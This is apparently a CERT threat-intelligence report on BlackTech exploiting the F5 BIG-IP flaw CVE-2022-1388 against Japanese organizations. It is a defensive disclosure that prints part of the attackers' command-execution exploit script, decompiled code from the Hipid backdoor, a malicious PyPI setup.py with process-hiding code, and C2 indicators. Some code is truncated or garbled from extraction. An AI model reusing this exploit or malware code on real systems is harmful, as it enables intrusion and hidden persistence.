## F5 BIG-IP Vulnerability (CVE-2022-1388) Exploited by BlackTech



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Around May 2022, JPCERT/CC confirmed an attack activity against Japanese organizations that exploited F5 BIG-IP vulnerability (CVE-2022-1388). The targeted organizations have confirmed that data in BIG-IP has been compromised. We consider that this attack is related to the activities by BlackTech attack group. This blog article describes the attack activities that exploit this BIG-IP vulnerability.

## Attack code that exploits the BIG-IP vulnerability

Below is a part of the attack code used in the attack. This attack tool enables attackers to execute arbitrary commands on BIG-IP.

```
import urllib3
import sys
proxies = {
    "http":"<u>http://127.0.0.1:8080</u>",
    "https": "http://127.0.0.1:8080
proxies={}
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Content-type": "application/json",
def send_cmd(target_url, cmd):
       new_target_url = target_url + "/mgmt/tm/util/bash"
       data = {"command":"run", "utilCmdArgs": '-c "%s"' % cmd}
       resp = requests.post(new_target_url,headers=header,json=data,verify=False,timeout=20,allow_redirects=False,proxies=pro
       #print resp.status code
 if resp.status_code == 200:
            print("utilCmdArgs: "+cmd)
            print("commandResult: "+resp.text.split("\"commandResult\":\"")[1][:-4]+"\n")
            print("send failed. but it does not mean exploit failed")
 except Exception as e:
        print("Send exp failed.")
def test():
   #ip = 'https:/
#ip = 'https:/
#ip = 'https:/
   ip = 'https://
   ip = 'https://1
   cmd = 'uname -a
    cmd = 'whoami'
   cmd = 'ping -c 1 8.8.8.8'
    send_cmd(ip, cmd)
```

Figure 1: A part of the confirmed code that exploits the BIG-IP vulnerability

Figure 1 (grayed-out part) shows that multiple domestic BIG-IP IP addresses were listed in the attack code and that they were the target of the attack. The attack code as well as malware such as TSCookie and Bifrose, which is used by BlackTech, were found on the server used by the attacker.

# Index of /

	<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
	<u>1.txt</u>	2022-04-20 01:0	)5 6	
?	<u>a.out</u>	2022-05-08 06:0	5 853K	
<b>3</b>	am.png	2022-05-08 07:4	4 853K	
?	cussh	2022-04-21 03:4	8 28K	
	<u>exp.py</u>	2022-05-08 08:2	5 1.7K	
<b>5</b>	fav.ico	2022-05-08 06:3	4 611K	
?	<u>hoss.jsp</u>	2022-04-19 13:2	6 612	
?	<u>hytpe</u>	2022-04-21 02:2	4 28K	
?	<u>java.out</u>	2022-05-17 09:2	1 18	
	<u>II.zip</u>	2022-04-19 14:0	2 594	
	<u>ls.zip</u>	2022-04-19 13:5	1 565	
	systemdd.php	2022-04-19 14:0	2 643	
?	<u>ttl</u>	2022-05-17 09:3	3 149K	

Figure 2: Server where attack code was installed

In addition to known malware, new unidentified malware was discovered on this server, which is described in the following section.

## Hipid

This malware targets Linux OS, and two types have been identified: one with a CPU architecture compatible with ARM and the other with x64. It is unclear what type of device it was created to run on, but it is possibly intended for IoT devices.

```
daemon_init

rax, qword ptr cs:ablodMysecurity; "blog.mysecuritycamera.com"
qword ptr [rbp+var.410], rax
rax, qword ptr cs:ablodMysecurity+8; "ecuritycamera.com"
qword ptr [rbp+var.410+8], rax
rax, qword ptr cs:ablogMysecurity+10h; "amera.com"
qword ptr [rbp+var.410+10h], rax
eax, word ptr cs:ablogMysecurity+18h; "m"
word ptr [rbp+var.410+18h], ax
rdi, [rbp+var.410+18h]
                                                           #-var_2000
                             R3, R1, #-var_1
R3, R3, #4
R3, [R3,#-0xC8]
R3, [R3]
R1, #0
                           demon_init
real_systocol6; "139.180.201.6"
R12, R1, # (anonymous_0+0xC)
R12, R12, R1, # (80-R2)
R3, R12, P8
R3, R4, P0-R3); "139.180.201.6"
R3, R3, #4
R3, R3, #4
R3, R3, #0xA
R2, -0x3F2
R1, #0xA
                                                                                                                                                                                                                                                                                    sb."

rax, cs:qword 4538B0
qword ptr [rbp+var_810], rax
cax, cs:dword_4538B8
dword ptr [rbp+var_810+8], eax
eax, cs:word_4538B6
word ptr [rbp+var_810+0ch], ax
eax, cs:byte_4538B6
[rbp+var_810+0ch], al
rdi, [rbp+var_810+0rh]
                                                                                                                                                                                                                                                         movzx
movzx
lea
cld
                           memset
R3, =0x188
R3, [R11,#var_14]
R3, #0
R3, [R11,#var_8]
R3, #1
R3, [R11,#var_C]
                                                                                                                                                                                                                                                                                    ; CODE XREF: main+198[j
rax, [rbp+var_818]
dword ptr [rax]
[rbp+var_81C], 0
edi sleep
                                                                                      ; CODE XREF: main:loc_10E801j
                           80. #5
sleep
R3, R3, #1
R3, [R11, #var_8]
R3, [R11, #var_C]
R3, #1
loc_10930
                            R3, #1
loc_10930
R3, [R11,#var_8]
R3, #3
loc_10930
IsRunTimeNow
                                                                                                                                                                                                                                                                                      sq
eax, [rbp+var_814]
[rbp+var_C24], eax
rsi, [rbp+var_C20]
rdi, [rbp+var_410]
edx, 400h
                            ; CODE XREF: main+B8†j
R1, [R11,#var_8]
R0_-aRetryTimeD ; "retry time -> %d\n'
                           printf
R3, #0
R3, [R11, #var_C]
R3, R11, #-var_2000
R3, R3, #4
R3, R3, #0x400; '@'
R2, #0x400
                            my_dns_query

R0, [kii,#var_lc]

R3, [R11,#var_lc]

R3, #0
LDR
CMP
BGE
LDR
                                         . #00
=10988
. =aMyDnsQueryFail ; "[+] my_dns_query failed."
```

Figure 3: A part of malware code (left: ARM type, right: x64 type)

This malware has a function to receive commands from the C2 server and execute arbitrary commands. It uses a host command, not a system call, to resolve host names.

```
memset(v10, 0, 0x400uLL);
sprintf((__int64)v10, (__int64)"host %s", v14);
memset(v9, 0, sizeof(v9));
v11 = exec_cmd((__int64)v10, v9, 2048);
if ( v11 >= 0 )
```

Figure 4: A part of the code to execute the host command

There are also two types in terms of sending data: one of them sends data with RC4 encryption and the other sends data as it is. Some samples of the former have a unique behavior of sending the S-Box data used for encryption to the server.

```
rc4_init();
memset(hostname, 0, sizeof(hostname));
gethostname(hostname, 256LL);
pid = getpid(hostname);
memset(username, 0, sizeof(username));
v3 = (const char *)getlogin(&v24);
sprintf((__int64)username, (__int64)"%s", v3);
memset(send_data, 0, sizeof(send_data));
v21 = 0;
sprintf((__int64)send_data, (__int64)"%s %s %d", hostname, username, pid);
v21 = (unsigned_int)strlen(send_data__"%s %s %d");
memcpy(sbox,::sbox, 256LL);
memcpy(&sbox[256], &j, 4LL);
memcpy(&sbox[256], &j, 4LL);
memcpy(&sbox[260], &k, 4LL);
memcpy(&sbox[264], &R, sizeof(char));
rc4_encrypt((__int64)send_data, v21);
memcpy(&send_data[265], send_data, v21);
memcpy(send_data, sbox, 265LL);
v30 = send((unsigned_int)s, send_data, v21 + 265, 0LL);
```

Figure 5: A part of the code that sends S-Box data to the server

### Distribution of Hipid using malicious PyPI packages

Although this is not directly related to the attack that exploits the BIG-IP vulnerability, JFrog reports that the same type of malware as the one described above was registered as a malicious PyPI package in the past[1]. Figure 6 shows the contents of the malicious package's <code>setup.py</code>. The attacker may not have taken control of the existing package but installed malware on PyPi to install the package on the compromised system.

```
#!/usr/bin/env python
#-*- coding:utf-8 -*-
********************
# File Name: setup.py
# Author: xingming
# Mail: huoxingming@gmail.com
# Created Time: 2015-12-11 01:25:34 AM
**********************
from setuptools import setup, find packages
setup(
   name = "hipid",
   version = "4.0.0",
   keywords = ("pip", "datacanvas", "hipid", "pypipack"),
   description = "hipid",
   long_description = "hide process for python in linux",
   license = "MIT Licence",
   url = "http://pypipack@protonmail.com",
   author = "pypipack",
   author_email = "pypipack@protonmail.com",
   packages = find_packages(),
   include_package_data = True,
   platforms = "linux",
    install_requires = []
```

Figure 6: Contents of setup.py

The malware itself was included in \_\_init.py\_\_ encoded in Base32 as shown in Figure 7. The malware is installed after decoding, overwriting /usr/sbin/syslogd.

Figure 7: Base64-encoded malware

In addition, the mount command is used for the malware process to run to hide the process, as shown in Figure 8.

```
def hide_process(pid):
    #get time
    now time = datetime.datetime.now()
    if (now_time.hour==8 and Is_process_exist(elf_path)==Fal
        #release elf file
        release_elf(elf_base32,elf_path)
        #start elf
        elf_popen = Popen(elf_path+" -n", shell=True)
    try:
        if Is pid exist(pid)==False:
            return False
        devices=getDeviceNames()
        for dev in devices:
            os.system("mount "+dev+" /proc/"+str(pid))
            if Is_pid_exist(pid) ==False:
                return True
```

Figure 8: Process hiding using the mount command

## In closing

The incident described in this report is currently under control and is no longer influential in many environments. BlackTech has been observed in a number of cases in recent years in which vulnerabilities

in externally accessible systems are exploited. In the case described here, the vulnerability was exploited shortly after it was disclosed, and thus patch management continues to be important.

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## **Acknowledgments**

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#### References

[1] JFrog Discloses 3 Remote Access Trojans in PyPI https://jfrog.com/blog/jfrog-discloses-3-remote-access-trojans-in-pypi/

#### Appendix A: C2 servers

- 139.180.201.6
- 108.160.138.235
- 108.160.132.108
- naaakkk.wikaba.com
- ntstore.hosthampster.com
- blog.mysecuritycamera.com
- 139.162.112.74

#### Appendix B: Malware hash value

- 9603b62268c2bbb06da5c99572c3dc2ec988c49c86db2abc391acf53c1ccceb
- cb1a536e11ae1000c1b29233544377263732ca67cd679f3f6b20016fbd429817
- 3d18bb8b9a5af20ab10441c8cd40feff0aabdd3f4c669ad40111e3aa5e8c54b8